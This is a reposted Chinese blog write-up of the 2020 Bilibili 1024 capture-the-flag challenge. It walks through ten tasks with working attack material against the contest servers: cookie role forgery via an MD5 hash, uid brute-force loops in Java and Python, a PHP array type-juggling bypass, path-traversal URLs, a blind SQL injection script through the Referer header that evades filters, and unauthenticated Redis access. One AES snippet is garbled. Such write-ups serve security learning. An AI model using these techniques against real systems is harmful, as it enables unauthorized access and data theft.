小言_互联网的博客

2020-1024程序员节首届哔哩哔哩安全挑战赛Write Up

465人阅读  评论(0)

后五题Write Up主要来自:榜一写的writeup 

第一题

“页面的背后是什么” 指网页源代码

Ctrl+U 查看网页源代码 看到向一个地方发送了get请求

发送一个请求,或者直接找找flag1相关的东西就能找到

第二题

"真正的秘密只有特殊的设备才能看到"指需要使用bilibili Security Browser浏览器访问

使用抓包工具抓包

把浏览器(UA)伪造成"bilibili Security Browser" 

需要注意的是如果是Postman需要添加Cookie 

 

第三题

“密码是啥”

密码是啥可以 自己试,此外,用网上给的弱口令词典是没有前途的~

第四题

"对不起,权限不足~"指你的身份不对

可以发现response里cookie set了个role=xxxxxxx, xxxxxxx是user对应的md5值,这里的脑洞在于你要把它改成Administrator对应的md5值。 

MD5 

伪装成 超级管理员

猜测角色名字,首字母大写

第五题

Ctrl+U 查看网页源代码,看看它想要干什么

注意里面有个神奇的uid

暴力遍历要从合适的位置开始

Java版本 


  
  1. for( int i= 100336889;i< 100999999;i++){
  2. Request.Builder builder1 = new Request.Builder();
  3. Request build1 = builder1.url( "http://45.113.201.36/api/ctf/5?uid=" + i)
  4. .header( "Charset", "UTF-8")
  5. .header( "Connection", "Keep-Alive")
  6. .header( "Content-Type", "application/x-www-form-urlencoded")
  7. .header( "Cookie", "session=xx; role=ee11cbb19052e40b07aac0ca060c23ee")
  8. .get()
  9. .build();
  10. try{
  11. JSONObject j=JSONObject.parseObject( new HttpClient().newCall(build1).execute().body().string());
  12. //System.out.println(j);
  13. if(j.getString( "code").equals( "200")){
  14. System.out.println(j.getString( "data"));
  15. } else{
  16. if(i% 100== 0){
  17. System.out.println(i);
  18. }
  19. }
  20. } catch (Exception e){
  21. e.printStackTrace();
  22. }
  23. }

Python版本 


  
  1. for uid in range( 100336889, 99999999999):
  2. params = (
  3. ( 'uid', uid),
  4. )
  5. response = requests.get( 'http://45.113.201.36/api/ctf/5', headers=headers, params=params, cookies=cookies, verify= False).json()
  6. if response[ 'code'] != '403':
  7. print(response)
  8. print(uid)

 

第六题

“结束亦是开始”

硬猜得到 /blog/end.php。

扫描

test.php

test.php的内容是jsfuck

执行 

 unicode 解码后是“程序员最多的地方”=>GitHub

搜索

 https://github.com/interesting-1024/end/blob/6a1b18e8aa96e879045a66130ddb3ba26b9b8b10/end.php


  
  1. <?php
  2. //filename end.php
  3. $bilibili = "bilibili1024havefun";
  4. $str = intval($_GET[ 'id']);
  5. $reg = preg_match( '/\d/is', $_GET[ 'id']);
  6. if(!is_numeric($_GET[ 'id']) and $reg !== 1 and $str === 1){
  7. $content = file_get_contents($_GET[ 'url']);
  8. //文件路径猜解
  9. if ( false){
  10. echo "还差一点点啦~";
  11. } else{
  12. echo $flag;
  13. }
  14. } else{
  15. echo "你想要的不在这儿~";
  16. }
  17. ?>

构造参数URL

http://120.92.151.189/blog/end.php?id[]=1

结合前面题目的url猜测

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

这里跳转第十题

http://45.113.201.36/api/images?file=../../../flag7.txt 

这里跳转第七题 

http://45.113.201.36/api/images?file=../../../secret.txt

这里跳转第九题 

简单的SQL注入类型题目,但本题的注入点不在id,而是HTTP请求报文头部的Referer字段,并且题目过滤了一些常用来注入的字符串和符号,所以导致sqlmap无法探测到,可以进行手工注入或写脚本注入, 需要把一些字符串双写来绕过过滤。


  
  1. import requests
  2. import time
  3. import sys
  4. URL = "http://120.92.151.189/blog/single.php?id=1"
  5. payload = "http://120.92.151.189/' oorr IF(ascii(substr((%s),%s,1))=%s,1,0)#"
  6. query = "selselectect hex(flag) from flag limit 1"
  7. rtn = ""
  8. for m in range( 1, 40):
  9. for n in '!0123456789ABCDEF?':
  10. n = ord(n)
  11. rps = requests.get(URL, headers={ "Referer": payload % (query, m, n)})
  12. if rps.status_code == 503:
  13. while rps.status_code == 503:
  14. rps = requests.get(URL, headers={ "Referer": payload % (query, m, n)})
  15. if 'admin' in rps.text:
  16. if n == ord( '!'):
  17. exit( 0)
  18. rtn += chr(n)
  19. try:
  20. print(rtn.decode( 'hex'))
  21. except Exception:
  22. pass
  23. break
  24. if n == ord( '?'):
  25. exit( 0)

SQL注入是安全领域很常见的攻击方式,主要是因为服务端开发者错误拼接了sql语句,导致可以插入并执行恶意的sql语句来获取数据库里的敏感信息

第七题

第六题中

考察了任意文件读取,首先在前几题的HTML源码可以看到明显的/api/images?file=banner.png 并且有些有注释掉的banner.png,经过测试发现确实在web目录里有这个png,那么就会想到通过目录跳转来读取其他文件,于是

http://45.113.201.36/api/images?file=../../../flag7.txt

任意文件读取也是安全领域的一种问题,解这种题需要经验和反复尝试,当然这题是硬编码判断的../../../flag7.txt,会让一些本来会做的人不会做了,一般的求解方式都是先判断 ?file=./banner.png是否还是正常返回,但这题返回404,很多人就认为根本没法任意文件读取了 

第八题

第六题中

端口扫描

服务器开启了6379端口,Redis的默认端口


  
  1. [root@iz2ze77] # redis-cli -h 120.92.151.189 -p 6379
  2. 120.92.151.189:6379> keys *
  3. 1) "flag4"
  4. 2) "flag6"
  5. 3) "flag7"
  6. 4) "flag9"
  7. 5) "flag8"
  8. 6) "flag1"
  9. 7) "flag2"
  10. 8) "flag3"
  11. 9) "flag5"
  12. 10) "flag10"
  13. 120.92.151.189:6379> get flag1
  14. "3b96173a-b3df4cdd-22d4c15f-261e7309"
  15. 120.92.151.189:6379> get flag2
  16. "bd871042-1e09a130-3ddd4faa-cebdb048"
  17. 120.92.151.189:6379> get flag3
  18. "c7f7a7c2-28b7f895-5432152b-6410e042"
  19. 120.92.151.189:6379> get flag4
  20. "d338e3c8-93215105-258d79ba-b364e59c"
  21. 120.92.151.189:6379> get flag5
  22. "612d1886-044898af-6c1e9dba-b58ad075"
  23. 120.92.151.189:6379> get flag6
  24. "8aa6f15d-65e37c9b-78c2bc37-00ed5aee"
  25. 120.92.151.189:6379> get flag7
  26. "b78ce2aa-10d03327-f2035f4e-55c17689"
  27. 120.92.151.189:6379> get flag8
  28. "d436b982-2b81aa54-49a8d2db-87ab951a"
  29. 120.92.151.189:6379> get flag9
  30. "b3238659-b81512e6-3a307c74-9877ecc5"
  31. 120.92.151.189:6379> get flag10
  32. "e5653416-595b3d0c-4c2a57ee-c026350e"

 因为扫描的原因,服务器很卡,容易掉线。


   
  1. [root@iz2zeihez ~] # redis-cli -h 120.92.151.189 -p 6379
  2. Could not connect to Redis at 120.92.151.189:6379: Connection refused
  3. not connected> exit
  4. [root@iz2zeihez ~] #

第九题

第六题中

http://45.113.201.36/api/images?file=../../../secret.txt

网传解法:

AES解密


  
  1. from Crypto.Cipher import AES
  2. aes = AES.new( 'aes_key'+ '\x00'* 9, AES.MODE_ECB)
  3. print base64.b64encode(base64.b64encode( '00000000-00000000-00000000-00000000'))s= 'SkRGWDZRZnJxelJQU21YME42MU04OWlwV1l0SlYvcEJRVEJPWWFYUXVHOGZBcnJ1bjNXS3hXRlpHd05uMjFjRw=='.decode( 'base64')
  4. print aes.decrypt(s.decode( 'base64'))

flag9: 8b522546-e52d83b8-5682e05c-c8cb237c

第十题

 第六题中

http://120.92.151.189/blog/end.php?id[]=1&url=/api/ctf/6/flag.txt

下载

二进制编辑器打开

 

参考文章

2020哔哩哔哩bilibili安全挑战赛前5题思路

如何评价 2020 年 Bilibili 安全挑战赛?

Bilibili CTF

**只有超级管理员才能看wp**

bilibili ctf 第一题

Bilibili 2020 CTF

榜一写的writeup


转载:https://blog.csdn.net/weixin_43272781/article/details/109262638
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场